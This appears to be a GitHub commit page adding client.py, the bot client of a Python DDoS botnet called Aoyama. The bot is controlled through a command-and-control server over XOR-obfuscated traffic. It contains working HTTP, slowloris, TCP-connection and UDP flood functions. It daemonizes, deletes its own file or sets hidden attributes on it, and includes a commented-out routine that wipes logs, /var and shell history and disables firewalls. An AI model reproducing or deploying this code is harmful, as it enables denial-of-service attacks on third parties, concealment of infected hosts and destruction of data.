Skip to content

Commit e1ae121

Browse files
Leeon123Leeon123
authored
Aoyama v1
1 parent 7d12dd5 commit e1ae121

File tree

3 files changed

+572
-0
lines changed

3 files changed

+572
-0
lines changed

‎client.py

Lines changed: 301 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,301 @@
1+
#!/usr/bin/env python3
2+
#Code By Leeon123
3+
###################################################
4+
# This is a new version of python3-botnet project #
5+
# Added new stuff like daemon, slowloris... #
6+
# Good Luck have Fun #
7+
###################################################
8+
#-- Aoyama version v1 --#
9+
# Added xor encode traffic #
10+
# Added auto enable ssl #
11+
# Improved dos attack code #
12+
# New process lock desgin #
13+
# More easy for the skid #
14+
############################
15+
import socket
16+
import ssl
17+
import sys
18+
import os
19+
import time
20+
import random
21+
import threading
22+
import base64 as b64
23+
24+
cnc = str("127.0.0.1")#your cnc ip
25+
cport = int(1337)#your cnc port
26+
key = "asdfghjkloiuytresxcvbnmliuytf"#xor key, don't edit it if u don't know wtf is this
27+
28+
useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
29+
"Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
30+
"Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
31+
"Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
32+
"Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
33+
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
34+
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
35+
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
36+
"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
37+
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
38+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
39+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
40+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
41+
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
42+
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
43+
"Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
44+
"Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
45+
"Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
46+
"Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
47+
"Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",]
48+
49+
acceptall = [
50+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
51+
"Accept-Encoding: gzip, deflate\r\n",
52+
"Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
53+
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
54+
"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
55+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
56+
"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
57+
"Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
58+
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
59+
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
60+
"Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
61+
"Accept: text/html, application/xhtml+xml",
62+
"Accept-Language: en-US,en;q=0.5\r\n",
63+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
64+
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",]
65+
66+
stop = False#threads control
67+
def HTTP(ip, port, path):
68+
global stop
69+
while True:
70+
if stop :
71+
break
72+
get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n"
73+
connection = "Connection: Keep-Alive\r\n"
74+
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
75+
accept = random.choice(acceptall)
76+
http = get_host + useragent + accept + connection + "\r\n"
77+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
78+
try:
79+
s.connect((str(ip), int(port)))
80+
if port == 443:
81+
s = ssl.wrap_socket(s)
82+
for y in range(100):
83+
s.send(str.encode(http))
84+
#s.close()
85+
except:
86+
s.close()
87+
88+
def SLOW(ip, port, conns, path):#slowloris, reference from https://github.com/gkbrk/slowloris
89+
global stop
90+
socket_list = []
91+
get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n"
92+
connection = "Connection: Keep-Alive\r\n"
93+
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
94+
accept = random.choice(acceptall)
95+
header = get_host + useragent + accept + connection
96+
for _ in range(int(conns)):
97+
try:
98+
if stop:#if stop=False then countine
99+
break
100+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
101+
s.connect((str(ip), int(port)))
102+
if port == 443:
103+
s = ssl.wrap_socket(s)
104+
s.send(str.encode(header))
105+
socket_list.append(s)
106+
except:
107+
pass
108+
while True:#loop
109+
if stop:#if stop=False then countine
110+
break
111+
for s in list(socket_list):
112+
try:
113+
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
114+
except socket.error:
115+
socket_list.remove(s)
116+
for _ in range(int(conns)-len(socket_list)):
117+
try:
118+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
119+
s.connect((str(ip), int(port)))
120+
if port == 443:
121+
s = ssl.wrap_socket(s)
122+
s.send(str.encode(header))
123+
socket_list.append(s)
124+
except:
125+
pass
126+
#go back to line 100
127+
128+
def CC(ip, port):#connection flood
129+
global stop
130+
while True:
131+
if stop :
132+
break
133+
try:
134+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
135+
s.connect((str(ip),int(port)))
136+
if port == 443:
137+
s = ssl.wrap_socket(s)
138+
s.send("\000".encode())
139+
s.close()
140+
except:
141+
s.close()
142+
143+
def UDP(ip, port, size):#udp flood(best size is 512-1024, if size too big router may filter it)
144+
global stop
145+
while True:
146+
if stop :
147+
break
148+
udpbytes = random._urandom(int(size))
149+
sendip=(str(ip),int(port))
150+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
151+
try:
152+
for y in range(100):
153+
s.sendto(udpbytes, sendip)
154+
s.close()
155+
except:
156+
s.close()
157+
158+
def handle(sock):
159+
global stop
160+
attack = 0
161+
sock.send(xor_enc("1337",key).encode())#login code
162+
while True:
163+
tmp = sock.recv(1024).decode()
164+
if len(tmp) == 0:
165+
main()
166+
#print(tmp)
167+
data = xor_dec(tmp,key)
168+
if data[0] == '!':
169+
try:
170+
command = data.split()
171+
print(command)
172+
if command[0] == xor_dec('QBAH',key):#encoded keywords: !cc
173+
if attack != 0:
174+
stop = True
175+
attack=0
176+
stop = False
177+
for x in range(int(command[3])):
178+
p = threading.Thread(target=CC, args=(command[1],command[2]))
179+
p.start()
180+
attack+=1
181+
elif command[0] == xor_dec('QBsQEhc=',key):#encoded keywords: !http
182+
if attack != 0:
183+
stop = True
184+
attack=0
185+
stop = False
186+
for x in range(int(command[3])):
187+
p = threading.Thread(target=HTTP, args =(command[1],command[2],command[4]))
188+
p.start()
189+
attack+=1
190+
elif command[0] == xor_dec('QAAICRA=',key):#encoded keywords: !slow
191+
if attack != 0:
192+
stop = True
193+
attack=0
194+
stop = False
195+
for x in range(int(command[3])):
196+
p = threading.Thread(target=SLOW, args =(command[1],command[2],command[4],command[5]))
197+
p.start()
198+
attack+=1
199+
elif command[0] == xor_dec('QAYAFg==',key):#encoded keywords: !udp
200+
if attack != 0:
201+
stop = True
202+
attack=0
203+
stop = False
204+
for x in range(int(command[3])):
205+
p = threading.Thread(target=UDP, args =(command[1],command[2],command[4]))
206+
p.start()
207+
attack+=1
208+
elif command[0] == xor_dec('QAAQCRc=',key):#!stop
209+
stop = True
210+
attack = 0#clear attack list
211+
elif command[0] == xor_dec('QBgNCgs=',key):#!kill : kill bot
212+
sock.close()
213+
break
214+
except:#if have error than will pass
215+
pass
216+
if data == xor_dec("ERoKAQ==",key):#ping
217+
sock.send(xor_enc("pong",key).encode())#keepalive and check connection alive
218+
219+
def daemon():#daemon
220+
pid = os.fork()#first fork
221+
if pid:
222+
sys.exit(0)
223+
os.chdir('/')
224+
os.umask(0)
225+
os.setsid()
226+
_pid = os.fork()#second fork for careful, prevent the process from opening a control terminal again
227+
if _pid:
228+
sys.exit(0)
229+
sys.stdout.flush()#Refresh buffer
230+
sys.stderr.flush()
231+
sys.stdin = open("/dev/null")#off the stdin,stdout,stderr, indeed no need.
232+
sys.stdout= open("/dev/null")#windows can't use this method, only can use pyinstaller's option '--noconsole'
233+
sys.stderr= open("/dev/null")
234+
'''
235+
def clean_device():
236+
os.system("rm -rf /tmp/* /var/tmp/* /var/run/* /var/*")
237+
os.system("rm -rf /bin/netstat")
238+
os.system("cat /dev/null > /var/log/wtmp")
239+
os.system("iptables -F")
240+
os.system("service iptables stop")
241+
os.system("/sbin/iptables -F")
242+
os.system("/sbin/iptables -X")
243+
os.system("service firewalld stop")
244+
os.system("rm -rf ~/.bash_history")
245+
os.system("history -c")
246+
'''
247+
def conn():
248+
if len(sys.argv) == 1:#i use 'python client.py debug' to check command
249+
if os.name != "nt":
250+
daemon()#can't use in windows
251+
os.system('rm -rf '+sys.argv[0])#delete ourselves
252+
#clean_device()
253+
else:
254+
os.system("attrib +s +a +h "+sys.argv[0])#hide the file
255+
try:
256+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
257+
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
258+
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
259+
#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10)
260+
#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10)
261+
#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3)#this only can use on python3 env, python2 pls off this
262+
s.connect((cnc,cport))
263+
264+
handle(s)
265+
266+
except Exception as e:
267+
connect()#magic loop
268+
269+
def connect():
270+
time.sleep(5)
271+
conn()
272+
#xor enc part#
273+
def xor_enc(string,key):
274+
lkey=len(key)
275+
secret=[]
276+
num=0
277+
for each in string:
278+
if num>=lkey:
279+
num=num%lkey
280+
secret.append( chr( ord(each)^ord(key[num]) ) )
281+
num+=1
282+
283+
return b64.b64encode( "".join( secret ).encode() ).decode()
284+
285+
def xor_dec(string,key):
286+
287+
leter = b64.b64decode( string.encode() ).decode()
288+
lkey=len(key)
289+
string=[]
290+
num=0
291+
for each in leter:
292+
if num>=lkey:
293+
num=num%lkey
294+
295+
string.append( chr( ord(each)^ord(key[num]) ) )
296+
num+=1
297+
298+
return "".join( string )
299+
300+
if __name__ == '__main__':
301+
conn()

0 commit comments

Comments
 (0)